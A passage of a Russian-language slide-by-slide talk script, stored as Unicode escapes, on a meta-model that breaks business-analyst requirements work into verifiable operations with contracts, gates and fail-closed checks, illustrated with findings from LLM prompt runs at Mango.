\u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e\u043c \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0438\\n  [`mango_ba_prompts`](https://github.com/G-Ivan-A/mango_ba_prompts): \u0432\u0445\u043e\u0434\u044b,\\n  \u0432\u044b\u0445\u043e\u0434\u044b, \u043e\u0431\u0440\u0430\u0442\u043d\u0430\u044f \u0441\u0432\u044f\u0437\u044c \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430, \u0436\u0443\u0440\u043d\u0430\u043b\u044b. 583 \u043a\u043e\u043c\u043c\u0438\u0442\u0430.\\n- \u0418\u0437 \u044d\u0442\u043e\u0439 \u0438\u0441\u0442\u043e\u0440\u0438\u0438 \u0432\u044b\u0440\u043e\u0441\u043b\u0430 \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u2014 \u0444\u043e\u0440\u043c\u0430\u043b\u044c\u043d\u043e\u0435 \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u0435 \u0442\u043e\u0433\u043e, \u043a\u0430\u043a\\n  \u0443\u0441\u0442\u0440\u043e\u0435\u043d\u0430 \u0440\u0430\u0431\u043e\u0442\u0430 \u0411\u0410 \u0438 \u0433\u0434\u0435 \u0435\u0451 \u043c\u043e\u0436\u043d\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0442\u044c \u043c\u0430\u0448\u0438\u043d\u043e\u0439.\\n- \u0413\u043b\u0430\u0432\u043d\u043e\u0435, \u0447\u0442\u043e \u043c\u044b \u043f\u043e\u043d\u044f\u043b\u0438: \u043c\u044b \u043d\u0435 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0438\u0440\u0443\u0435\u043c \u043c\u044b\u0448\u043b\u0435\u043d\u0438\u0435 \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430. \u041c\u044b \u0434\u0435\u043b\u0430\u0435\u043c\\n  \u0435\u0433\u043e \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u044b\u043c.\\n\\n**\u041c\u043e\u0441\u0442\u0438\u043a:** \u00ab\u041d\u0430\u0447\u043d\u0443 \u0441 \u0442\u043e\u0433\u043e, \u043f\u043e\u0447\u0435\u043c\u0443 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u043e\u0441\u0442\u044c \u0437\u0434\u0435\u0441\u044c \u2014 \u043d\u0435 \u0430\u043a\u0430\u0434\u0435\u043c\u0438\u0447\u0435\u0441\u043a\u0438\u0439\\n\u0432\u043e\u043f\u0440\u043e\u0441\u00bb.\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 2. \u0412 \u043a\u043e\u043c\u0430\u043d\u0434\u0430\u0445 \u043a\u0440\u0443\u043f\u043d\u044b\u0445 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435 \u2014 \u044d\u0442\u043e \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e, \u0430 \u043d\u0435 \u0437\u0430\u043c\u0435\u0442\u043a\u0430\\n\\n**\u0412\u0440\u0435\u043c\u044f:** 1,5 \u043c\u0438\u043d\u0443\u0442\u044b. **\u0426\u0435\u043b\u044c:** \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0446\u0435\u043d\u0443 \u043e\u0448\u0438\u0431\u043a\u0438, \u0447\u0442\u043e\u0431\u044b \u0434\u0430\u043b\u044c\u043d\u0435\u0439\u0448\u0430\u044f\\n\u0441\u0442\u0440\u043e\u0433\u043e\u0441\u0442\u044c \u043d\u0435 \u0432\u044b\u0433\u043b\u044f\u0434\u0435\u043b\u0430 \u0438\u0437\u0431\u044b\u0442\u043e\u0447\u043d\u043e\u0439.\\n\\n**\u0422\u0435\u043a\u0441\u0442.**\\n\\n- \u041c\u044b \u0433\u043e\u0432\u043e\u0440\u0438\u043c \u043e \u043a\u043e\u043c\u0430\u043d\u0434\u0430\u0445 \u043a\u0440\u0443\u043f\u043d\u044b\u0445 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432. \u0422\u0430\u043c \u0422\u0417 \u2014 \u043d\u0435 \u0440\u0430\u0431\u043e\u0447\u0430\u044f \u0437\u0430\u043c\u0435\u0442\u043a\u0430, \u0430\\n  \u043e\u0441\u043d\u043e\u0432\u0430 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0438 \u0447\u0430\u0441\u0442\u044c \u0434\u043e\u0433\u043e\u0432\u043e\u0440\u0430.\\n- \u041f\u0440\u043e\u0434\u0443\u043a\u0442 \u0448\u0438\u0440\u043e\u043a\u0438\u0439: \u0432 \u043d\u0430\u0448\u0435\u0439\\n  [\u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u0438](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/product-taxonomy/mango-products.yaml)\\n  42 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u044b\u0435 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u0432 8 \u0434\u043e\u043c\u0435\u043d\u0430\u0445. \u0423 \u043a\u0430\u0436\u0434\u043e\u0439 \u0441\u0432\u043e\u0439 \u0441\u043b\u043e\u0432\u0430\u0440\u044c \u0438 \u0441\u0432\u043e\u0438\\n  \u043b\u043e\u0432\u0443\u0448\u043a\u0438: \u043e\u0447\u0435\u0440\u0435\u0434\u044c \u0438 \u0433\u0440\u0443\u043f\u043f\u0430, SLA \u0438 AHT, IVR \u0438 \u0430\u0432\u0442\u043e\u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0442\u043e\u0440.\\n- \u041e\u0434\u043d\u043e \u043e\u0431\u0440\u0430\u0449\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0445\u043e\u0434\u0438\u0442 \u043c\u0438\u043d\u0438\u043c\u0443\u043c \u0442\u0440\u0438 \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438. \u041d\u0430 \u043a\u0430\u0436\u0434\u043e\u0439 \u0442\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u0447\u0430\u0441\u0442\u044c\\n  \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442\u0430, \u0438 \u043f\u043e\u0442\u043e\u043c \u044d\u0442\u043e \u0432\u0441\u043f\u043b\u044b\u0432\u0430\u0435\u0442 \u0441\u043f\u043e\u0440\u043e\u043c \u043e \u043f\u0440\u0438\u0451\u043c\u043a\u0435.\\n\\n**\u041f\u043e\u0447\u0435\u043c\u0443 \u044d\u0442\u043e \u0432\u0430\u0436\u043d\u043e \u0434\u043b\u044f AI-\u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438:** \u043a\u043e\u0433\u0434\u0430 \u043e\u0448\u0438\u0431\u043a\u0430 \u0441\u0442\u043e\u0438\u0442 \u0434\u043e\u0440\u043e\u0433\u043e,\\n\u00ab\u0432 \u0441\u0440\u0435\u0434\u043d\u0435\u043c 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\u0434\u043e\u0432\u0435\u0440\u0438\u044e: \u043f\u043e\u0434\u0445\u043e\u0434\\n\u0432\u044b\u0440\u043e\u0441 \u0438\u0437 \u043d\u0435\u0443\u0434\u0430\u0447, \u0430 \u043d\u0435 \u0438\u0437 \u043f\u0440\u0435\u0437\u0435\u043d\u0442\u0430\u0446\u0438\u0438.\\n\\n**\u0422\u0435\u043a\u0441\u0442.**\\n\\n- \u0412\u0435\u0441\u043d\u043e\u0439 \u0432\u0441\u0451 \u043d\u0430\u0447\u0438\u043d\u0430\u043b\u043e\u0441\u044c \u0441 \u043e\u0434\u043d\u043e\u0433\u043e \u0431\u043e\u043b\u044c\u0448\u043e\u0433\u043e \u043f\u0440\u043e\u043c\u043f\u0442\u0430 \u00ab\u0434\u043b\u044f \u0411\u0410\u00bb. \u0412 \u0438\u044e\u043d\u0435 \u043c\u044b\\n  [\u0440\u0430\u0437\u0434\u0435\u043b\u0438\u043b\u0438 \u0435\u0433\u043e](https://github.com/G-Ivan-A/mango_ba_prompts/blob/main/CHANGELOG.md)\\n  \u043d\u0430 23 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u0430.\\n- \u041f\u043e\u0441\u043b\u0435 \u043f\u0435\u0440\u0432\u043e\u0439 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\u043d\u0430\u043a\u043e\u043f\u0438\u043b\u043e\u0441\u044c 56 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u043d\u0430 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0437\u0430\u0434\u0430\u0447\u0430\u0445, \u0438 \u043c\u044b \u0447\u0435\u0441\u0442\u043d\u043e\\n  \u0437\u0430\u043f\u0438\u0441\u0430\u043b\u0438: evals \u0438 \u044d\u0442\u0430\u043b\u043e\u043d\u043d\u044b\u0445 \u043d\u0430\u0431\u043e\u0440\u043e\u0432 \u043d\u0435\u0442.\\n- \u0412 \u0441\u0435\u043d\u0442\u044f\u0431\u0440\u0435 \u043f\u0440\u043e\u0432\u0435\u043b\u0438 \u0444\u043e\u0440\u0435\u043d\u0437\u0438\u043a\u0443. \u0412\u044b\u044f\u0441\u043d\u0438\u043b\u043e\u0441\u044c, \u0447\u0442\u043e \u0442\u0440\u0438 \u0440\u0435\u0436\u0438\u043c\u0430 \u043e\u0434\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u043c\u043f\u0442\u0430 \u2014\\n  \u043f\u043e\u0448\u0430\u0433\u043e\u0432\u044b\u0439, \u043e\u0434\u043d\u0438\u043c \u0432\u044b\u0437\u043e\u0432\u043e\u043c \u0438 \u0441\u0442\u0430\u0440\u044b\u0439 \u2014 \u043f\u043e\u0447\u0442\u0438 \u043d\u0435 \u0441\u043e\u0432\u043f\u0430\u0434\u0430\u044e\u0442 \u043f\u043e \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0435:\\n  [0.077 \u043f\u043e \u0416\u0430\u043a\u043a\u0430\u0440\u0443](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-09-08-meta-model-inputs-facts.md).\\n  \u0410 \u0438\u0437 12 \u043a\u043e\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0439, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043d\u0443\u0436\u043d\u044b \u0434\u043b\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438, \u2014 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u044b\u0439 \u0432\u0445\u043e\u0434,\\n  \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442, \u0433\u0435\u0439\u0442 \u2014 10\\n  [\u043d\u0435 \u0432\u0441\u0442\u0440\u0435\u0447\u0430\u044e\u0442\u0441\u044f \u043d\u0438 \u0432 \u043e\u0434\u043d\u043e\u043c](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-09-09-legacy-normative-influence-facts.md)\\n  \u0438\u0437 24 \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432.\\n- \u0412\u044b\u0432\u043e\u0434\\n  [\u0444\u043e\u0440\u0435\u043d\u0437\u0438\u043a\u0438](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-23-requirements-run-forensics.md):\\n  \u0447\u0435\u0442\u044b\u0440\u0435 \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u044b\u0445 \u043a\u043b\u0430\u0441\u0441\u0430 \u043e\u0442\u043a\u0430\u0437\u0430. \u041d\u0435\u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0451\u043d\u043d\u044b\u0439 \u0444\u0430\u043a\u0442 \u043f\u043e\u0432\u044b\u0448\u0430\u0435\u0442\u0441\u044f \u0434\u043e\\n  \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f. \u0422\u0435\u043a\u0443\u0449\u0435\u0435 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\u043d\u0430\u0441\u043b\u0435\u0434\u0438\u0435 \u2014 \u0441\u0432\u0438\u0434\u0435\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e, \u0430 \u043d\u0435 \u043d\u043e\u0440\u043c\u0430. \u0421\u0442\u0430\u0440\u044b\u0435 \u043f\u0440\u043e\u043c\u043f\u0442\u044b \u043c\u044b \u043d\u0435\\n\u043f\u0435\u0440\u0435\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u043c, \u0430 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c \u043a\u0430\u043a \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u0443\u044e \u0431\u0430\u0437\u0443.\\n\\n**\u041c\u043e\u0441\u0442\u0438\u043a:** \u00ab\u0415\u0441\u043b\u0438 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0434\u043e \u0442\u0435\u043a\u0441\u0442\u0430 \u2014 \u0437\u043d\u0430\u0447\u0438\u0442, \u043d\u0443\u0436\u043d\u043e \u043e\u043f\u0438\u0441\u0430\u0442\u044c, \u0447\u0442\u043e\\n\u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u0442 \u0434\u043e \u0442\u0435\u043a\u0441\u0442\u0430. \u042d\u0442\u043e \u0438 \u0435\u0441\u0442\u044c \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c\u00bb.\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 5. \u041c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u0440\u0430\u0441\u043a\u043b\u0430\u0434\u044b\u0432\u0430\u0435\u0442 \u0440\u0430\u0431\u043e\u0442\u0443 \u0411\u0410 \u0434\u043e \u0443\u0440\u043e\u0432\u043d\u044f, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u043e\u043c \u0435\u0451 \u043c\u043e\u0436\u043d\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c\\n\\n**\u0412\u0440\u0435\u043c\u044f:** 2 \u043c\u0438\u043d\u0443\u0442\u044b. **\u0426\u0435\u043b\u044c:** \u0434\u0430\u0442\u044c \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443, \u043d\u0435 \u0443\u0442\u043e\u043f\u0438\u0432 \u0432 \u0442\u0435\u0440\u043c\u0438\u043d\u0430\u0445. \u0418\u0437 11\\n\u0441\u0443\u0449\u043d\u043e\u0441\u0442\u0435\u0439 \u043c\u043e\u0434\u0435\u043b\u0438 \u043d\u0430 \u0441\u043b\u0430\u0439\u0434\u0435 \u2014 \u0447\u0435\u0442\u044b\u0440\u0435 \u0443\u0440\u043e\u0432\u043d\u044f \u0438 \u0447\u0435\u0442\u044b\u0440\u0435 \u0438\u043d\u0432\u0430\u0440\u0438\u0430\u043d\u0442\u0430.\\n\\n**\u0422\u0435\u043a\u0441\u0442.**\\n\\n- \u0420\u0430\u0431\u043e\u0442\u0430 \u0440\u0430\u0441\u043a\u043b\u0430\u0434\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u0441\u0432\u0435\u0440\u0445\u0443 \u0432\u043d\u0438\u0437: **\u043f\u0440\u043e\u0434\u0443\u043a\u0442 \u2192 \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u2192 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f \u2192\\n  \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442**. \u041f\u0440\u043e\u0446\u0435\u0441\u0441 \u0441\u043e\u0441\u0442\u043e\u0438\u0442 \u0438\u0437 \u043d\u0430\u0432\u044b\u043a\u043e\u0432, \u043d\u0430\u0432\u044b\u043a \u2014 \u0438\u0437 \u0430\u0442\u043e\u043c\u0430\u0440\u043d\u044b\u0445 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439.\\n- \u0421\u043b\u043e\u0432\u0430\u0440\u0438 \u0437\u0430\u043a\u0440\u044b\u0442\u044b: 33 \u043d\u0430\u0432\u044b\u043a\u0430, 31 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f. \u0415\u0441\u043b\u0438 \u043d\u0443\u0436\u043d\u043e\u0433\u043e \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u043d\u0435\u0442, \u044d\u0442\u043e\\n  \u043e\u0442\u043a\u0430\u0437 \u0438 \u0437\u0430\u0434\u0430\u0447\u0430 \u043d\u0430 \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u0435 \u0441\u043b\u043e\u0432\u0430\u0440\u044f, \u0430 \u043d\u0435 \u0438\u043c\u043f\u0440\u043e\u0432\u0438\u0437\u0430\u0446\u0438\u044f \u043c\u043e\u0434\u0435\u043b\u0438.\\n- \u0417\u0430\u043a\u043e\u043d \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0441\u0442\u0432\u0430 \u0447\u0438\u0442\u0430\u0435\u0442\u0441\u044f \u0441\u043b\u0435\u0432\u0430 \u043d\u0430\u043f\u0440\u0430\u0432\u043e: \u0438\u0437 \u0432\u0445\u043e\u0434\u0430, \u0434\u043b\u044f \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u043e\u0433\u043e\\n  \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430 \u0438 \u0441\u0438\u0441\u0442\u0435\u043c\u044b, \u043e\u0434\u043d\u043e\u0439 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0435\u0439, \u043e\u0434\u043d\u0438\u043c \u0430\u043a\u0442\u043e\u0440\u043e\u043c \u2014 \u0447\u0435\u0440\u0435\u0437 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u0438\\n  \u0433\u0435\u0439\u0442 \u2014 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442\u0441\u044f \u0432\u044b\u0445\u043e\u0434 \u0441\u043e \u0441\u043b\u0435\u0434\u043e\u043c \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u044f.\\n- \u0427\u0435\u0442\u044b\u0440\u0435\\n  [\u0438\u043d\u0432\u0430\u0440\u0438\u0430\u043d\u0442\u0430](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/10-theory.md)\\n  \u2014 \u043e\u0442\u0432\u0435\u0442\u044b \u043d\u0430 \u0438\u0437\u043c\u0435\u0440\u0435\u043d\u043d\u044b\u0435 \u0434\u0435\u0444\u0435\u043a\u0442\u044b. \u041d\u0435\u0442 \u0448\u0430\u0433\u0430 \u0431\u0435\u0437 \u0432\u0445\u043e\u0434\u0430 \u2014 \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e 50 \u0438\u0437 67\\n  \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0432\u0445\u043e\u0434\u0430 \u043d\u0435 \u043e\u0431\u044a\u044f\u0432\u043b\u044f\u043b\u0438. \u041f\u0440\u043e\u0434\u0443\u043a\u0442 \u043e\u0431\u044a\u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0434\u043e \u0448\u0430\u0433\u0430 \u2014 \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e\\n  \u043b\u0435\u043a\u0441\u0438\u043a\u0430 \u0437\u0430\u0434\u0430\u0447\u0438 \u0443\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u0431\u043e\u043b\u044c\u0448\u0435 \u0447\u0435\u043c \u043d\u0430 \u043e\u0434\u0438\u043d \u0434\u043e\u043c\u0435\u043d \u0432 66 \u0438\u0437 67 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432.\\n\\n**\u041a\u0430\u043a:** \u043a\u0430\u0436\u0434\u044b\u0439 \u0438\u043d\u0432\u0430\u0440\u0438\u0430\u043d\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u043c\u0430\u0448\u0438\u043d\u043e\u0439. \u0414\u0432\u0430 \u2014 \u043f\u0440\u0435\u0434\u0443\u0441\u043b\u043e\u0432\u0438\u044f \u0448\u0430\u0433\u0430, \u0434\u0432\u0430 \u2014\\n\u043f\u043e\u0441\u0442\u0443\u0441\u043b\u043e\u0432\u0438\u044f.\\n\\n**\u041c\u043e\u0441\u0442\u0438\u043a:** \u00ab\u0421\u0430\u043c\u043e\u0435 \u0432\u0430\u0436\u043d\u043e\u0435 \u043d\u0430 \u044d\u0442\u043e\u0439 \u0441\u0445\u0435\u043c\u0435 \u2014 \u043d\u0438\u0436\u043d\u0438\u0439 \u0443\u0440\u043e\u0432\u0435\u043d\u044c, \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f. \u0418\u043c\u0435\u043d\u043d\u043e\\n\u0442\u0430\u043c \u043f\u0440\u043e\u0438\u0437\u043e\u0448\u0451\u043b \u043f\u0440\u043e\u0440\u044b\u0432\u00bb.\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 6. \u041c\u044b \u043d\u0435 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0438\u0440\u0443\u0435\u043c \u043c\u044b\u0441\u043b\u044c: \u043c\u044b \u043e\u0446\u0438\u0444\u0440\u043e\u0432\u044b\u0432\u0430\u0435\u043c \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u0443\u044e \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044e \u0438 \u0441\u0442\u0430\u0432\u0438\u043c \u043d\u0430 \u0435\u0451 \u0432\u044b\u0445\u043e\u0434 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\\n\\n**\u0412\u0440\u0435\u043c\u044f:** 3 \u043c\u0438\u043d\u0443\u0442\u044b. **\u0426\u0435\u043b\u044c:** \u0433\u043b\u0430\u0432\u043d\u044b\u0439 \u0441\u043b\u0430\u0439\u0434. \u041f\u043e\u043a\u0430\u0437\u0430\u0442\u044c, \u0447\u0442\u043e \u0438\u043c\u0435\u043d\u043d\u043e \u043c\u044b \u0434\u0435\u043b\u0430\u0435\u043c\\n\u0438\u043d\u0430\u0447\u0435 \u0438 \u043f\u043e\u0447\u0435\u043c\u0443 \u044d\u0442\u043e \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0442\u0430\u043c, \u0433\u0434\u0435 \u043f\u0440\u043e\u043c\u043f\u0442 \u043d\u0435 \u0441\u0440\u0430\u0431\u043e\u0442\u0430\u043b.\\n\\n**\u0422\u0435\u043a\u0441\u0442.**\\n\\n- \u0413\u0438\u043f\u043e\u0442\u0435\u0437\u0430: \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u0430\u044f \u0440\u0430\u0431\u043e\u0442\u0430 \u0411\u0410 \u043f\u043b\u043e\u0445\u043e \u043f\u043e\u0434\u0434\u0430\u0451\u0442\u0441\u044f \u043f\u0440\u044f\u043c\u043e\u0439 \u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u0438. \u041b\u0443\u0447\u0448\u0435\u0435\\n  \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e \u2014\\n  [RUN-0018](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/methodology-unification/40-practice-and-cases.md).\\n  \u0421\u0442\u0440\u043e\u0433\u0438\u0439 \u043f\u043e\u0448\u0430\u0433\u043e\u0432\u044b\u0439 \u043f\u0440\u043e\u043c\u043f\u0442, \u0432\u043e\u0441\u0435\u043c\u044c \u0448\u0430\u0433\u043e\u0432, \u0432 \u043a\u0430\u0436\u0434\u043e\u043c \u0441\u0430\u043c\u043e\u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430. \u0420\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u2014\\n  8 \u0433\u0430\u043b\u043b\u044e\u0446\u0438\u043d\u0430\u0446\u0438\u0439, \u043e\u0434\u043d\u0430 \u0434\u043e\u0448\u043b\u0430 \u0434\u043e \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430. \u0412\u044b\u0432\u043e\u0434 \u0441\u0430\u043c\u043e\u0433\u043e \u043f\u0440\u043e\u0433\u043e\u043d\u0430: \u00ab\u041c\u0435\u0445\u0430\u043d\u0438\u043a\u0430\\n  \u043f\u0440\u043e\u043c\u043f\u0442\u0430 \u0441\u043e\u0431\u043b\u044e\u0434\u0435\u043d\u0430, \u0434\u043e\u0441\u0442\u043e\u0432\u0435\u0440\u043d\u043e\u0441\u0442\u044c \u0444\u0430\u043a\u0442\u043e\u0432 \u043d\u0435 \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0430\u00bb.\\n- \u041f\u043e\u044d\u0442\u043e\u043c\u0443 \u043c\u044b \u0440\u0430\u0437\u043b\u043e\u0436\u0438\u043b\u0438 \u0440\u0430\u0431\u043e\u0442\u0443 \u043d\u0430\\n  [31 \u0430\u0442\u043e\u043c\u0430\u0440\u043d\u0443\u044e \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044e](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/operation-taxonomy/10-theory.md)\\n  \u0432 \u043f\u044f\u0442\u0438 \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u044b\u0445 \u043a\u043b\u0430\u0441\u0441\u0430\u0445. \u041a\u043b\u0430\u0441\u0441 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u044f\u0435\u0442\u0441\u044f \u0442\u0435\u043c, \u043e\u0442\u043a\u0443\u0434\u0430 \u0431\u0435\u0440\u0451\u0442\u0441\u044f\\n  \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u0435 \u0432\u044b\u0445\u043e\u0434\u0430.\\n- \u041a\u043b\u0430\u0441\u0441 \u0437\u0430\u0434\u0430\u0451\u0442 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044f. \u0418\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u0438\u0435 \u0441\u0432\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u0441 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u043c.\\n  \u041f\u0440\u0435\u043e\u0431\u0440\u0430\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u2014 \u0441\u043e \u0441\u0445\u0435\u043c\u043e\u0439. \u041f\u043e\u0440\u043e\u0436\u0434\u0435\u043d\u0438\u0435, \u0433\u0434\u0435 \u043f\u043e\u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043d\u043e\u0432\u043e\u0435 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u0435,\\n  \u0438\u0434\u0451\u0442 \u0447\u0435\u0440\u0435\u0437 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a \u0438 \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u0430. \u0412\u044b\u0431\u043e\u0440 \u0434\u043e\u043b\u0436\u0435\u043d \u0431\u044b\u0442\u044c \u043e\u0431\u043e\u0441\u043d\u043e\u0432\u0430\u043d.\\n- \u041f\u043e\u0432\u0435\u0440\u0445 \u2014 fail-closed. \u041d\u0435\u0442 \u0432\u0445\u043e\u0434\u0430, \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430 \u0438\u043b\u0438 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430 \u2014 \u0448\u0430\u0433\\n  \u043e\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u0438 \u0437\u0430\u0434\u0430\u0451\u0442 \u0432\u043e\u043f\u0440\u043e\u0441. \u041f\u0443\u0441\u0442\u043e\u0439 \u0441\u043b\u043e\u0442 \u0441 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u043e\u0439 \u043f\u0440\u0438\u0447\u0438\u043d\u043e\u0439 \u043b\u0443\u0447\u0448\u0435\\n  \u0432\u044b\u0434\u0443\u043c\u0430\u043d\u043d\u043e\u0433\u043e \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f.\\n- \u042d\u0442\u043e \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u043d\u0430 \u043f\u0440\u0430\u043a\u0442\u0438\u043a\u0435: RUN-0059 \u0441 \u0442\u0430\u043a\u0438\u043c \u043f\u0440\u0430\u0432\u0438\u043b\u043e\u043c \u043d\u0435 \u043f\u0440\u0438\u0434\u0443\u043c\u0430\u043b\\n  \u043d\u0435\u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u0435 endpoint'\u044b Mango, \u0430 \u043e\u0441\u0442\u0430\u0432\u0438\u043b \u043f\u0440\u043e\u0431\u0435\u043b. RUN-0060 \u0434\u0430\u043b 101\\n  \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044e \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u044b\u0435 \u0441\u0441\u044b\u043b\u043a\u0438 \u043d\u0430 